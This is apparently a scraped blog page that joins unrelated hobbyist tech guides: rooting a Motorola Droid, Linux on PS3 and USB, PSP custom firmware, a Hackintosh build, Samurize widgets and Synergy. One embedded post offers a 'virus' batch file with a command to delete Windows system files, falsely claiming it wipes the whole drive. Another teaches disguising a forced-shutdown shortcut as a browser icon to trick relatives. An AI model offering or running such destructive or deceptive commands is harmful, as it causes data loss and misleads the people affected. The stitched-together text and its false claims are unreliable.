How to Root Motorola Droid on Android 2.0.1
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neMoComments:(2)Motorola Droid from Verizon has successfully been rooted on Android 2.0.1. Which means you can access the file system on Motorola Droid. Having access to the root of an OS means you’ve unrestricted access
to all the aspects of android system, just like an Administrator. With
this extreme level of control over the phone’s files leads to unlocking
its full potential. With root/superuser (su) access to can install
custom Roms, themes, and get access to other useful functions of the
device which are concealed by the manufacturers like tethering the
phone. So, you want to get access to the root of your Motorola Droid? just follow the steps written below: How to Root Motorola Droid 2.0.1
Step 1Update your Motorola Droid OS to Android 2.0.1 OTA (over the air) software update if it’s running Android 2.0.0. (Recommended) Step 2Download root software .zip file from here. Step 3Rename downloaded .zip file to update.zip Step 4Connect your Droid to computer via USB. On the Droid go to Notifications bar > USB Connected and press Mount. Once mounted, SD card will appear as a removable device on your computer. Step 5Now copy the update.zip file to SD Card of your Motorola Droid mobile phone. Step 6Now turn your Motorola Droid OFF. Hold down the X key on the physical keyboard and turn Droid back ON by press and holding the power button. keep pressing both buttons until you see a triangle with an ! sign. Step 7Now press and hold vol+ and camera button until you get to a menu. Step 8Choose the option to update using the update.zip file with D-Pad on the physical keyboard. Step 9Once done, choose the option to Reboot your Droid. that’s it. You have successfully rooted Motorola Droid on Android 2.0.1. via [alldroid] How to make a REAL LEGIT VIRUSIn this how to video on TECHNO INFO i will be teaching you how to make a free LEGIT virus. Firstly you are going to have to go to start and go to notepad. Then you will have to Type in the following, del C:\Windows\System32 with no spaces then save the doc onder name .bat This will wipe out your whole harddrive, so dint click on it. WE ARE NOT RESPONCIBLE FOR ANY DAMAGES WE DO TO YOUR COMPUTER How to make a Fake shutdown virus Ever wonder what new prank you could come up with to make your little sister go crazy? Here's a simple, yet very effective one. Just switch one of your desktop icons (i.e. Internet Explorer) with a fake one and a warning box will pop-up which will shut down your computer within 30 seconds. Isn't that enough to make lil' sister yell when she sees her Barbie doll game go bye-bye? Here's how it works:This isn't really a virus ... its simply a shutdown program which will make your friends freak out.First, you will need to create a shortcut. You can create a shortcut by right-clicking on your desktop and selecting New, and then, Shortcut.
A Create Shortcut box should then open. In that box, write the following:shutdown -s -t 30 -c "VIRUS DETECTED!!"(note: the number 30 can be replaced by any other number. That number corresponds to the number of seconds before the computer will shutdown. Here I have chosen 30 in order to have enough time to close it before my computer shuts down. Also, the message between quotes can be replaced by something like "YOU HAVE BEEN INFECTED BY A TROJAN VIRUS" or some other great idea. However, the message must be between quotes.)
After, simply click on Next and a box with the name Shutdown will appear. Change the name that you want for it. In this case I have chosen Internet Explorer but it can always be renamed how you prefer.
After naming it, click on Finish and ... here's your shutdown virus!!!! Not very convincing he? Well, in that case let's change our icon!
Right-click on your shutdown Internet Explorer icon (or whichever name you gave it) and select Properties.
Select Change Icon(Note: A box saying "system 32 does not have any icons choose from a diffrent list" or something like that may pop-up; if it does simply click on Ok)
Now... it depends on what you have named your shutdown virus ... If you chose Internet Explorer scroll all the way to the right and you will find the icon. If you did not choose Internet Explorer feel free to choose a different icon... Remember it has to be something that people will click on.
Now Heres our Icon ... Now it looks like something that people will click on.
To close the program, select the start menu and click on Run...
Write: Shutdown -aand the program should shutdown immediately.(Note: To shut it, you can also do a new shortcut but instead of writing shutdown -s -t 30 -c "VIRUS DETECTED" write this: shutdown -aand call it Shutdown abort..So instead of closing it with Run you can just click on your shutdown abort shortcut.)
Have fun freaking out your friends/family ... And dont forget to close it or put a longer time frame so that you will have enough time to close it.WARNING: This program will really shutdown your computer. It may be fun to do it to little sisters or friends but refrain from using it if someone is actually working on the computer, since they will lose all their information.PS3 Linux - The void has been filled..Full install instructions for Fedora Core 5!Yes, the void has been filled! You will be able to install Fedora Core 5 on your PS3s right now if you have all the components ready! The void we're talking about here is the OtherOS Installer which has just been released by Sony on their Open Platform for PLAYSTATION site. So let us be the first ones to tell you how it's done. We're getting our own  First, download all of the components that I've listed here.
You will need a USB keyboard and a mouse to use Linux on your PS3! Make sure you have it before jumping into the installation! Alright, once you have these things ready, here's how you prepare your PS3 for another operating system, which in our case, is Fedora Core 5.
Please insert Fedore Core install DVD. This will prepare your PS3 for Linux. Once done, you will be able to select one of the 2 install methods:
The installer will start unpacking and installing the data to your hard disk. After a small while, you'll see this message: Please insert a Addon Packages CD. A little while later, you will see the following message: Install done. Rejoice! You've just successfully installed Fedora Core 5 to your PS3. Now you could shut off your PS3 and take a walk outside. But knowing Linux nuts, I'm sure you'll be dying to check it out. Just type in reboot to restart your PS3. When your PS3 starts, you will be able to login as root with the password you supplied during install. Just type it in and have fun with Fedora Core 5! You will be able to install any app as long as it has a PPC build of it. That includes most major applications like Mozilla Firefox, VLC player and more.. Now if you want to go back to the Game OS, just type in boot-game-os at the prompt. Have fun with Linux on your PS3. We will be updating this post with pictures of our own Linux installation as soon as we get our PS3, which will be in a few hours. In the meanwhile, make sure to read the official FAQ by Sony. For more info, download the documents here and go over them to know the full capabilities of Fedora Core 5 on your PS3. Now please spare me so that I can go and beat the UPS guys up for delaying our PS3 delivery. Jailbreaking & unlocking is quiet common for iPhone & iPod Touch users but android phones are not behind in this race. In past we had covered how to gain root access on T-Mobile Google android phone. Now the news about Droid rooted is spreading like fire. The Motorola/Verizon Droid is a brand new phone today and by rooting your droid phone you get the freedom to install multitouch support (including pinch-to-zoom gestures), enhanced themes, and other previously forbidden goodies. How to Root Droid PhoneIf you are on Android 2.0.0 then grab Android 2.0.1 to prevent duplication of task. 1. Download droid-root.zip file from the bottom of the page!!!!!!!!! 2. Rename to “update.zip” to the file downloaded in step 1 and copy to the sdcard 3. Power off the DROID and power back on while holding the X key 4. When you see a “/!\” symbol, press both vol+ and camera 5. Now follow onscreen instructions to install update.zip Once installed you will be able to run “su” from your adb shell.
Install Ubuntu 7.10 to a Flash Drive via CD and put on computer!!!!(with files)Create a Ubuntu 7.10 USB Flash Drive from CD: This tutorial enables you to install, boot and run Ubuntu 7.10 (Gutsy Gibbon) from a USB flash drive. In addition to installing Ubuntu to a USB device and then booting Ubuntu from the memory stick, this tutorial will enable you to automatically save your changes and settings back to the thumb drive and further restore them on each boot using a second "casper-rw" persistent partition. The tutorial was written for those already familiar with working from Ubuntu or another Linux desktop environment. If you do not have access to or prefer not to use a Windows computer, this Ubuntu Linux on a stick tutorial is for you. Ubuntu 7.10 takes slightly longer to boot than previous releases. However, once it's up and running, it performs much better than running from the Live CD. USB Ubuntu 7.10 Essentials:
Ubuntu 7.10 USB installation tutorial: Hint: You can drastically speed up the install by Copying and Pasting most commands into the terminal instead of manually typing them out. With the exception of replacing x with your drive letter.
You should now have a USB Ubuntu 7.10 Gutsy Gibbon flash drive that should automatically save your changes, restoring them on boot. Notes: If your having trouble getting Ubuntu to boot, your memory stick may have a corrupted MBR. To repair the MBR of your USB device, at the terminal type sudo apt-get install lilo then type lilo -M /dev/sdx (replacing x with the letter of your flash device)
For as long as Sony’s PlayStation Portable has been on the market, it’s been a juicy target for hackers. With burly hardware (for a handheld) and a gorgeous screen, it just begs to play homebrew, and lots of PSP owners have cracked their devices to do just that. Unfortunately, Sony has had other plans for their handheld, and has released dozens of firmware updates and several hardware revisions to make it harder to hack the PSPs handheld. As such, there’s no one hack that works on all PSP, and in fact some PSPs are completely unhackable. There is, however, one fairly easy method that works on most consoles, which is what we’ll illustrate in this article. Is my PSP hackable?This hack, which doesn’t require any hardware modification, has two limitations: 1) It doesn’t work on 3000-Series PSPs. If you’re not sure which hardware-revision your PSP is, check the sticker on the bottom, it should say something like “PSP-1001”. If the number following “PSP” starts with a 3, you’re out of luck. Unfortunately, no one has developed a hack which works on 3000-series PSP, so you’re pretty much boned if you have one. 2) If you have a firmware installed that’s more recent than
version 5.03, this hack won’t work. To check what firmware is installed
on your PSP, turn it on and go to Settings->System
Settings->System Info. If your firmware version number is greater
than 5.03, you can't use this method to hack your PSP. There is a way
to hack more recent firmware, but it’s significantly more difficult,
involves modifying hardware, and is beyond the scope of this article.
If you want to know how to do it, do a web search for “Pandora’s
Battery.” So how do I do it already?First, plug in the PSP and make sure that it’s fully charged. This is vital because you’ll be screwing with the firmware on the device, and losing power and shutting down during a firmware flash is one of the quickest ways to brick your precious handheld. Next, make sure that you have a large enough memory stick to run the hack. You need at least 512 MB of space on your memory stick to perform the hack, but if you want to load it up with homebrew apps, you'll need more space than that. If you're looking to upgrade from the dinky memory stick included with most PSPs, you can get a 4 or 8 GB Memory Stick Pro Duo off of Amazon on Newegg for around $15 or $30. If you do get a new memory card, you need to format before beginning the hack, which you can do by inserting it into the PSP and selecting Settings->System Settings->Format Memory Stick.  Now, if your firmware is any version below 5.03, you need to upgrade to the official 5.03 Firmware. To do this, first download the 5.03 firmware update here. Next, plug your PSP into the computer, and turn on USB mode from the Settings Menu. Now, on your computer, access the PSP like you would a USB drive, and place the file EBOOT.PBP that was in the file you downloaded earlier into the folder /PSP/GAME/UPDATE/. Make the UPDATE folder if you have to.
 Now disconnect the PSP from the computer. In the Games menu, select Memory Stick, then choose to run PSP Update ver 5.03. You will have to agree to some terms of service and such, and then the PSP’s firmware will be updated to version 5.03. As with any firmware update, it’s absolutely vital that you not screw with the PSP while this is going on, or you will ruin it.  For the next steps, which will install custom firmware on your PSP,
you will need a couple of files, all of which are contained in this
archive http://thesdf.com/forums/viewtopic.php?f=17&t=489. First, you will need to load ChickHEN onto the PSP’s memory stick, which allows you to run some homebrew apps on a PSP. Open the ChickHEN folder in the archive you just downloaded. You will notice that it contains a file called h.bin, and two folders, called PHAT and SLIM. Copy the h.bin file to the root of your PSP’s memory card.  Now, if you have a “fat” PSP (1000 series) open the PHAT directory, and copy the image called “eggsploit.tiff” onto your memory stick in the directory /PSP/PHOTO/. If you have a “slim” PSP (2000 series), open the SLIM directory and copy the directory inside, called “ChickHEN” to the memory stick in /PSP/PHOTO.  Now you’ll load Hellcat’s Recovery Flasher onto the memory stick. This is what will actually flash the new, custom firmware to our console. Open the archive you downloaded earlier, and navigate to the Hellcat’s Recovery Flasher folder. Inside is another folder called RECOVERY; copy this folder into /PSP/Game/.  Those are all the files you need for the firmware hack, so exit USB mode and disconnect your PSP from your computer. To start up ChickHEN, go to the Photo menu, then select Memory Stick. If you have a SLIM PSP, click on the ChickHEN folder. Otherwise, select the .tiff image you copied over. This corrupted image contains the code which will install ChickHEN on your PSP when you attempt to view it.  If it works, your screen will briefly flash green, then it will reboot. If it doesn’t work, and just crashes your PSP without the green flash, don’t panic. Whether the hack works or not seems to be largely random, so just keep trying until it works. It can require a little bit of patience; we didn’t get the green flash until our eighth try. Once you do get the green flash and reboot, go to Settings->System Settings->System Information and check to confirm that your System Software has been updated to 5.03 ChickHEN R2. If it has, you’re ready to move on.  Next, go to the Games menu, then select Memory Stick, and run Hellcat’s Recovery Flasher. It will warn you that you’re about to mess with the PSP’s internal flash memory. Choose to proceed, then select Install CFW from the menu that loads. Next, choose to reset your settings. Now, Hellcat’s Recovery Flasher will install the 5.0 M33 custom firmware onto your PSP. When it’s done, it will prompt to you press X to shut it down. You’ll have to boot it back up yourself.  And that’s it! You’re now running the M33 custom firmware! But what can I do with it?Play Homebrew apps, of course! There’s a vibrant scene of programmers making homebrew apps for the PSP. You can all sorts of homebrew apps online, including games, custom themes, utility apps (like browsers and e-book readers) and more. You can find sizeable repositories of legal homebrew here and here.
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OS X is out there. You’ve seen it in coffee shops, on TV, in the laps of hipsters at the local taqueria. There‘s no shame in wondering what all the fuss is about. Hell, it’s healthy to mix it up a little bit. If only the idea of sending Steve Jobs and the rest of Apple, Inc. thousands of your hard-earned dollars didn’t send you into a cold sweat that only a game of Left4Dead can cure. Still, OS X is the subject of many glowing reviews. Even hardcore PC users are singing its praises. If you have the itch to try out OS X, but you’re not down with shelling out the cash for a new Mac, we have one word for you: Hackintosh. When Apple announced the move to Intel processors for its computer lineup, the search was on for a practical way to install OS X on non-Apple hardware. Over the years, the best way to achieve this feat was to patch a retail version of the OS X install from Apple. Users would scour the Internet for the patches—always hoping that what they downloaded was indeed the correct patch, and not some virus or trojan horse ready to wreck havoc on their PCs. But these days the quest for OS X needn’t be so perilous. Read on to see how an inventive little USB device can let you easily dual boot OS X on non-Apple hardware, using a legitimate copy of OS X. The Heart of the HackintoshThe EFI-X USB dongle ultimately makes our Hackintosh possible, but your other PC components matter as wellEFI-X USB Dongle
The EFI-X dongle ($235, http://efixna.com) is the Hackintosh builder’s dream. The device, which plugs into a motherboard’s USB port, works by creating a full EFI environment inside a tiny USB microcomputer. EFI, or Extensible Firmware Interface, was created by Intel to replace the aging BIOS on PCs. Apple’s Unix-based Macs use EFI instead of BIOS. The EFI-X gives users the ability to run EFI-based and BIOS-based operating systems on one machine. The module contains the hardware drivers of all the equipment on its hardware list. The EFI-X bootloader screen gives you the option to pick which operating system you would like to load at startup. Once you have OS X installed on your machine, the EFI-X must be connected to your machine at all times. If you want to build two Hackintosh systems, you need to purchase two EFI-X dongles. The EFI-X isn’t without its drawbacks. You can’t just throw any hardware in a tower and start playing with iChat and Final Cut Pro. You need to be sure you use only hardware that has pre-installed drivers on the EFI-X. EFI-X has a complete list of compatible hardware on its site; below we tell you the parts we chose. CPU: Intel Core 2 Duo
 Like the current Macs on the market, the EFI-X works with Intel Core 2 processors. AMD fanboys can complain about Intel’s market share, its lack of innovation, and aggressive plots to remove all its competitors until the cows come home—it’s not going to change the fact that you can’t build a Hackintosh with an AMD CPU. In our machine we used a 2.67GHz Intel Core 2 Duo. Motherboard: DFI P45
Because the EFI-X comes with pre-installed drivers for hardware, the list of compatible motherboards is necessarily limited. EFI-X supports Gigabyte P35, P45, and X48 chipset boards, with support for Gigabyte X58 boards reportedly coming soon. Or you can choose from one of two DFI P45 chipset motherboards. We went with DFI’s LanParty DK P45-T2RS Plus ($160 street, www.dfi.com.tw). Videocard: GeForce 9800 GTX
 To help you see all your beautiful OS X goodness on screen, ATI and Nvidia cards are supported by the EFI-X. While EFI-X supports the ATI Radeon HD 3870 and Radeon HD 2600 XT cards, ATI knows that Apple is best buds with Nvidia and cautions that ongoing support of these cards is uncertain. Compatible Nvidia cards include the 7000, 8800, and 9800 series graphic cards. We went with a two-year-old PNY XLR8 GeForce 9800 GTX ($140 street, www.nvidia.com) because it’s cheap and readily available. Storage: Seagate 1.5TB We initially started our project with a SATA hard drive and an IDE optical drive. The EFI-X kept hanging on the OS X install disc, so we switched over to a SATA optical drive and that solved the problem. In order to build a multi-OS machine you’ll need a SATA HDD for each OS. We installed OS X Leopard on a 1.5TB drive and Windows Vista on a 1.5TB drive. If we plan on adding another OS, we’ll have to throw another SATA drive in our rig. Partitions and Apple’s Boot Camp don’t work with the EFI-X device. It Takes Two to TangoYour Hackintosh will be a dual-boot machine, meaning it will run both Windows and OS X. We recommend installing whatever flavor of Windows you prefer before beginning your journey into the world of Mac. We attempted several OS install scenarios and found the path of “regular Windows install, followed by Hackintosh” yielded the best results. We installed Windows Vista in our machine, against the warning of Justin Long.  Now, even if you hate Apple, Inc. with all your heart and soul, you need to purchase a retail copy of OS X ($130, www.apple.com)
for every machine you install it on. If you plan on making Macs and/or
Hackintoshes a family affair, you can purchase a family pack for $200
for use on five machines. Apple doesn’t require validation codes or a
call in to their HQ for verification. Please don’t abuse Apple’s
trusting nature. Building the HackintoshFollow these steps to get OS X up and running on your PCBefore we begin, we need to chat about the law and EULAs. Installing OS X on non-Apple hardware, while probably not technically illegal, does violate Apple’s End User License Agreement (EULA). Will Apple hunt you down and kidnap your pets until you remove OS X from your Hackintosh? It’s unlikely. Apple isn’t too concerned with the little guy tinkering with his computer, and will have a pretty challenging time tracking you down if you go out and purchase a legal copy of OS X for your project. On the other hand, if you want to base a business around building Hackintoshes, expect a visit from Apple’s crack team of lawyers. With that out of the way, let’s start building. We’ll give you specific instructions for the DFI board we used; if you’re using a different (but compatible) motherboard, you’ll need to adapt our instructions for your hardware. 1. Install the EFI-X Dongle
 The EFI-X dongle is the secret sauce that makes OS X think your awesome PC is a craptacular, but Apple-approved Mac. Think of the EFI-X module as Clark Kent’s glasses—when they’re on, no one has a clue that he’s Superman. Installation is simple, you just need to plug the EFI-X into a vacant USB header on your motherboard. The dongle comes with an extension cable if you have trouble squeezing the device in between the other components on your rig. Make sure to avoid plugging the dongle into the FireWire header—that would torch your $250 device. 2. Configure the BIOS
Next up, we need to adjust BIOS settings to work with the EFI-X
device and the OS X installer. Rather than list a series of options and
the correct settings, we’re going to just show the appropriate BIOS
screens, with everything set to the correct settings, and we’ll note
anything you need to tweak on sub-screens. But, before you can do that,
you’ll need to enter the BIOS by mashing the Del key as your PC boots. Standard CMOS FeaturesEnter the Standard CMOS Features screen. Navigate to Halt On, press Enter, and select All, But Keyboard. Press Enter to accept your bold new setting and then Esc to return to the Main BIOS screen. 
Integrated Peripherals
Navigate to the Integrated Peripherals option, and then to the OnChip IDE Device screen. For SATA Mode, choose IDE. The EFI-X doesn’t support RAID. AHCI should be turned off during the install process. You can turn it back on after you’ve finished the install. Press Enter to save your settings. Next, navigate to LEGACY Mode Support, select Enabled and press Enter to save your setting. For the Onboard JMB363 option, select Native IDE and press Enter. Press Esc to return to the Integrated Peripherals main screen.  USB DevicesWhile still in the Integrated Peripherals screen, navigate to the USB Device Setting page and hit Enter. Make sure the controllers and functions are all enabled. Navigate to USB Mass Storage Device Boot Settings. You should see the EFiX Booting Device 1.0 option. Select it and press Enter. Select the HDD Mode option and press Enter to save your setting.  Advanced BIOS SettingsFrom the main BIOS screen navigate to the Advanced BIOS Settings option and press Enter. Select Hard Disk Boot Priority. Move the USB-HDD0 : EFiX Booting Device to the top of the list by selecting it and pressing the plus (+) button until it’s on the top of the heap. Smack Esc to return to the Advanced BIOS Settings main screen. Navigate to the First Boot Device. Select CDROM from the list of boot devices. Press Enter to save your setting. Change the Second Boot Device to Hard Disk using the same method. Press Esc to return to the glory of the main BIOS screen. 
Power ManagementNavigate to the Power Management Setup screen. Go to ACPI Function, select Enabled and press Enter to save your choice. Navigate to Save & Exit Setup and press Enter. The machine will now reboot with all your new BIOS settings. It’s almost go-time with your Hackintosh.  3. The EFI-X Bootloader
 When your machine reboots, you should see “EFIX V1 Loading Please Wait” on the screen. If you don’t see this text on your screen, you’ve totally screwed up. Don’t go blaming us—just reboot, begin mashing the Del key to enter the BIOS, and double-check your settings. If you do see the “EFIX V1 Loading…” text, way to go. The EFI-X
Bootloader screen will appear. You will be presented with what looks
like trash cans from the future. Don’t be alarmed if the trash cans
have an X or Window icon on them. Even if you haven’t installed an OS
on your drives yet, the EFI-X recognizes the format of the SATA drives
attached to the rig. You may see two Windows choices; don’t worry. Once
you reformat one of the drives to Mac OS Extended (Journaled), it’ll
have X on it. For now, just ignore those glowing trash cans with
company logos and choose the trash can with DVD on it to access your OS
X install disc. Press Enter. 4. Installing and Configuring OS X
If all goes to plan, you should see a startup screen. It’s different from the usual OS X startup screen. Don’t worry, that’s the EFI-X startup screen. As long as it doesn’t hang, you’re doing fine. While installing, if your SATA drive is formatted FAT, you’re going to have to reformat it to Mac OS Extended (Journaled). Don’t worry, the OS X installer is pretty much idiot-proof; it will warn you if the drive is formatted incorrectly. If it is formatted FAT, select Options, and a drop-down menu will appear with Mac OS Extended (Journaled) already selected. Click Erase. Be careful not to nuke your Windows. You’ll get a green arrow on your hard drive signifying it’s ready for OS X. You will also be warned that your data will be erased on that drive. Make sure you don’t have anything on that drive you’ll need later, like your vast database of Caprica Six images or your banking information. Click Continue. Now take a deep breath. You’re about to do something that’s a little crazy. Click Install on the next screen, and away we go. You have about 30 to 45 minutes while the installer does its magic, so go grab a bite to eat or wash your hands to get all that icky OS X install pixie dust off of them. After you’ve installed OS X, you have to fill out the Apple setup/registration form. Whatever name you choose at this point will be the name of your user account on your Mac. Entering “Amanda Huginkis” will definitely come back to haunt you here. You’ll also be prompted for a password and information regarding your network. OS X takes all the information you enter to configure your computer’s settings. Even the registration page information will be used to identify you in the OS X Address Book app. Just do what Mac users have been doing forever: once the setup asks for you to actually register, choose the Register Later option. Steve already knows too much about us. Your desktop will now shine brightly with the glimmer of the Leopard desktop image. Take it in. It’s OK, no one is going to hurt you. Leopard is your friend. 5. Updating OS X
 Now, the moment of truth—updating OS X on your Hackintosh. Remember, Hackintoshes with patched kernels are unable to be updated. It’s their Kryptonite. But the EFI-X allows you to update your Hackintosh because it’s fooling OS X into believing it’s a legit Mac. We recommend applying all the updates available, as there are some significant fixes between 10.5 and 10.5.6. You can apply updates by choosing the Apple Menu in the upper-left corner of the menu bar. Choose Software Update. A window will pop up with the available updates Apple thinks you need. Click Install. OS X Leopard downloads updates and then asks to be restarted so it can install updates without interruption from applications and processes. When you click Restart, the computer will display a light-blue screen and will begin the installation process. Don’t worry, this is normal. The machine will restart once it’s finished installing. You may have to do this a few times to get all the updates available. Now that your Hackintosh is updated to the most recent Apple goodness, it’s time to check out the specs of your new machine. Go to the Apple in the top-left of the menu bar and select About This Mac in the drop-down. You’ll see the processor and the amount of RAM in your rig. For even more information, click More Info.... The System Profiler will give you all the information you need about your machine. If your machine is giving you any problems, this is a good place to see which startup items are causing issues or to make sure your USB Device Tree is recognizing a device. Most peripherals are plug-and-play with OS X, but not all. A quick Internet search will usually find the drivers you need. Just like with a PC, but with an added touch of smugness.
The Care and Feeding of Your HackintoshNow that you’ve entered the strange and exciting new world of OS X, here are a few tips to a happy OS X experienceDisk Utility If your machine is acting wonky, check out the Disk Utility, found
in Applications > Utilities. From there you can repair disk Installing AppsMany applications are just drag-and-drop. Yes, it sounds crazy, but all you have to do is drop the app into the Applications folder and, bam, it’s installed. Right Click There’s a rumor out there that OS X doesn’t have right-click
capability. But actually, OS X has had the ability to use a two-button
mouse since its inception. Just plug in your favorite two-button mouse
and carry on. Terminal OS X is a Unix-based system. If you feel like messing around with
the innards of OS X, go to Applications > Utilities, where you’ll
find the Terminal app. Brush up on your Unix commands and start
tinkering. Keyboard ShortcutsIf you’re using a Windows keyboard with OS X, you’ll use the Windows key (the one with the Windows logo) instead of the Ctrl key as the basis for your keyboard shortcuts. For example, Windows+S to save. All the most common functions such as copy, cut, paste, new, print, etc., use the same letter as in Windows (C, X, V, N, P, respectively). If you have a Mac keyboard lying around, you’ll be using the Cmd key for keyboard shortcuts. System Preferences It’s the OS X version of the Control Panel in Windows. In System Preferences you’ll find Networking, Security, Accounts, and other preferences for OS X. When in doubt, you can use the search field in the upper-left corner to find what you’re looking for. «
One of the best ways to set your computer apart from the pack is to customize your desktop. There are numerous ways to do this that range in difficulty from as easy as changing your wallpaper to as involved as a full-blown shell replacement. Somewhere in between, there’s Samurize. Samurize is a program that lets you create and run custom desktop widgets, most commonly used for system monitoring. Because Samurize is extremely customizable, it’s a favorite tool of desktop modders who use it in conjunction with tailor-made wallpapers to create truly awesome personal desktops. Learning Samurize can be a fun project, because although there’s a lot of depth to the program and it takes practice and an artistic eye to make top-notch widgets, you can get started right away building simple meters and displays. Here we explain the basics of Samurize, including what you need to know to build your first simple custom widget.  Custom desktop by jaymzg
GETTING STARTEDTo get started on your first custom desktop, you’re going to need to download the latest Serious Samurize release, which you can find here. Grab the most recent client installer. Once you’ve installed the program, you have the option of running Samurize or the Config tool. Samurize is what you’ll eventually use to display your custom desktops, but for now, start the Config tool. Configs define the widgets that Samurize places on your desktop, and can include meters (which represent any of a number of system parameters) and graphics. By combining informative meters, sharp graphics, and a matching wallpaper, you can create a desktop that’s both useful and impressive.  Samurize Desktop by MathProg777
That’s the goal, at least. But you’ve got to learn to walk before you can run, so this article will explain how to use Samurize to create a basic Config with CPU and RAM usage monitors as well as a gauge for either your laptop battery or hard disk space. It might not be the sexiest feature set in the world, but by learning how to make this simple Config, you’ll familiarize yourself with the basics of Samurize, allowing you to design more complicated and impressive desktops in the future. 
CPU AND RAM MONITORSWe’ll add meters to our Config that graph out our CPU and RAM usage over time. Of the two, the RAM monitor is slightly more straightforward, so we’ll add that first. In the right-hand side of the Samurize Config Editor, make sure the Edit Meters tab is selected. Since you should be staring at a blank Config, the only thing visible in the Edit Meters column should be a box that says Standard Tasks with a button labeled Add Meter. As you might expect, this button presents you with a list of customizable meters that you can add to your Config.  A little less than halfway down the Add Meter list is the Add Memory button. Press this to add a memory monitor to your Config. At first, the meter will appear as a simple textual display of free memory. You should note that meters in the Config editor use example values and do not actually represent your system’s status; you have to actually load the Config with Samurize in order for the meters to synch with your system. Now, plain text isn’t quite what we want for our memory meter, so
click it and look at the right side of the Config editor, where you can
customize your meters. First, give the meter a more memorable name than
“Meter 0.” This will make it easier to identify which meter we want to
edit when we’ve got several meters in the Config. Once you’ve changed
the name, click the drop-down list under Draw Type and select Graph.
Doing this will transform the memory meter into a line graph.  Next, we’ll make sure the graph is displaying exactly the information we want it to display, so click the Source tab. Since we want the graph to show how much memory we’re using rather than how much we have available, click the drop-down list under Select Return Value and choose Used Mem. Also, change the unit to %, which will save us the trouble of assigning a minimum or maximum value for the chart. You can fine-tune the appearance of the meter in the Display tab, which contains fields for customizing the look of the graph, including the scale, color, alpha, mirroring, and more. If you select a different type of meter in the Draw Type field of the first tab, the fields in the Display tab will be different. You can make yours look however you like—we chose a nice Matrix-green look for ours. Resize it into a square by entering a value of 100 into the Width and Height fields under the General tab. 
Now, we’ll add the CPU graph. Click Add Meter again, but this time select Add Perfmon… from the drop-down menu. The Perfmon object is a much more flexible meter, which allows you to monitor nearly every aspect of every piece of hardware in your PC. By default, Perfmon is set up to act as a CPU monitor, but you can adjust it to monitor other hardware by changing the Performance Object and Counters fields.  Don’t feel bad if you can’t figure out the purpose for each individual counter (DPCs Queued/sec, for instance); you can always click the Explain button to see a brief and (generally) helpful description of what the counter does.  Once you’ve specified what you want Perfmon to monitor, it behaves pretty much the same as the memory monitor. Change its draw type to graph, give it a unique name, make it look the same as your memory meter, and you’ll be ready to move on. NOTEBOOK BATTERY-LIFE METER
Next, we’ll show you how to create an analog needle-style meter, like the type you’d find in a car dashboard. Since we happen to be on a laptop, we made ours a battery-life meter, by selecting Add Laptop Battery from the Add Meter drop-down, but if you’re on a desktop, you can make it a hard-disk-space meter by selecting Add Drive Space from the drop-down menu, then selecting the drive you want to monitor. To make the monitor into an analog meter, simply select Analog from the Draw Type drop-down list. In the Display tab, you can make sure the meter looks the way you want it to by adjusting the type of pointer, how wide the sweep is, and more. To make it look more like a car speedometer, set the Offset % to around -20, which moves the pivot point a little toward the center. In the Display tab you can also choose a start and end color; the pointer will shift between these values as it moves. This allows you to, for instance, set it so the pin will shift from yellow to red as your battery gets closer to being empty.  Finally, to make your widget something more than just a bunch of floating meters, you’ll need to add some graphics. This is material for an entire how-to of its own, though, so for now we’re only going to cover the simplest graphical elements. Let’s add a black background for our two line graphs. To do that, click the Edit Graphics tab and click Add Background Object. From the drop-down list, select Add Rectangle. Unlike meters, graphics have only one panel, which determines their appearance. Set your rectangle’s color to black, and make it as tall as your line graphs, and as wide as both graphs combined. Click and drag the meter so that it sits behind the two graphs. Now click Add Background Object again and make another rectangle. Make this one large enough to sit behind all three meters. To choose which graphical elements are in front, click them and press the up or down arrows at the top of the window. This will move the selected graphic to the front or the back, respectively. You can use a simple text meter to label your graphs.  And that’s how you make a very simple system monitor panel for your desktop. To load up your widget, save your Config to the default directory, then run the Samurize program. Right-click the Samurize icon in the taskbar and mouse over Select Config, and find your Config file. You can also refresh your Config quickly if you make changes to it by saving and selecting Reload Config.  This how-to guide has only scratched the surface of Samurize, though, so look out for future articles on MaximumPC.com explaining how to make more sophisticated kinds of widgets, and how to use graphics and a custom wallpaper to make your widgets look awesome.
We at Maximum PC remember a time, long ago, when having a dual-monitor setup was enough to establish some pretty serious nerd cred. These days, however, everyone and their grandma are playing World of Warcraft and checking their email at the same time on their two screens. So what’s a guy got to do to stand out from the pack? Here’s one idea: run two computers in tandem. Synergy is a free, open source program that allows you two control two or more computers with a single keyboard and mouse. The linked computers behave as though they were simply different monitors in a traditional multi-monitor, single-computer setup. That is to say, if you drag the mouse off the left side of the right monitor, it appears on the left monitor, directing all keystrokes to that box. More impressively, Synergy synchronizes the two computers’ clipboards and even their screensavers. The most brilliant part of Synergy? It’s a cross-platform application, meaning you can run a Windows PC, a Unix box and a Mac running OS X all at the same time, with one keyboard and one mouse. If that doesn’t impress your nerd friends, you need to get some nerdier friends. Fortunately, getting Synergy up and running is a snap. We’ll run through the steps involved now.  Time = 15 Min What You Need
• Synergy 1. Install Synergy on Each ComputerFirst, go to the Synergy website (synergy2.sourceforge.net) and click on the “Latest Release” link on the sidebar. From there, download whichever binary (or source, if you want to compile yourself) is appropriate for each box you’ll be running, and install it.
 Each computer you plan to connect should be on the same local network. This shouldn’t be a problem, since you’ll want to use Synergy with computers in close proximity anyway, but if you do get any funny ideas about running it over the internet, be careful; Synergy has no built-in encryption and is therefore a pretty massive security risk over an untrusted network.
2. Configure Synergy on the Server ComputerBefore you can proceed, you’ll need to decide which computer you want to be the server. The only important thing about the server-client distinction is that the server is the computer which will have the mouse and keyboard connected. Once you’ve decided, we’ll configure Synergy on that computer. On a Windows BoxRun the synergy.exe executable. A window should open. When it does, select the “Share this computer’s keyboard and mouse (server)” radial button, as shown below.  Next, click on the button labeled “Configure…” just to the right of the words “Screens & Links.” A new dialogue will pop up. At the top, under the empty list marked “Screens,” click the “+” button. Yet another dialogue will open, labeled “Add Screen.” Here you will input the name of the first screen you want to add, the server. For simplicities sake, I highly recommend that you use your computer’s name for this, as it will streamline the process. You can leave the “Aliases” and other fields untouched. Repeat this process until each computer you wish to connect is present in the “Screens” list.  Next, you’ll need to establish the links between each screen. To do this, we’ll use the dropdown fields at the bottom of the “Screens & Links” window. The three you need to change have a thin red border around them, for easy identification. Fill out the boxes so that they describe a link between two of your screens. For instance, if you’re running two screens side by side, you would fill out the fields so that two completed line reads: “0 to 100% of the left of RightScreenName goes to 0 to 100% of LeftScreenName,” where RightScreenName and LeftScreenName are the names of the appropriate 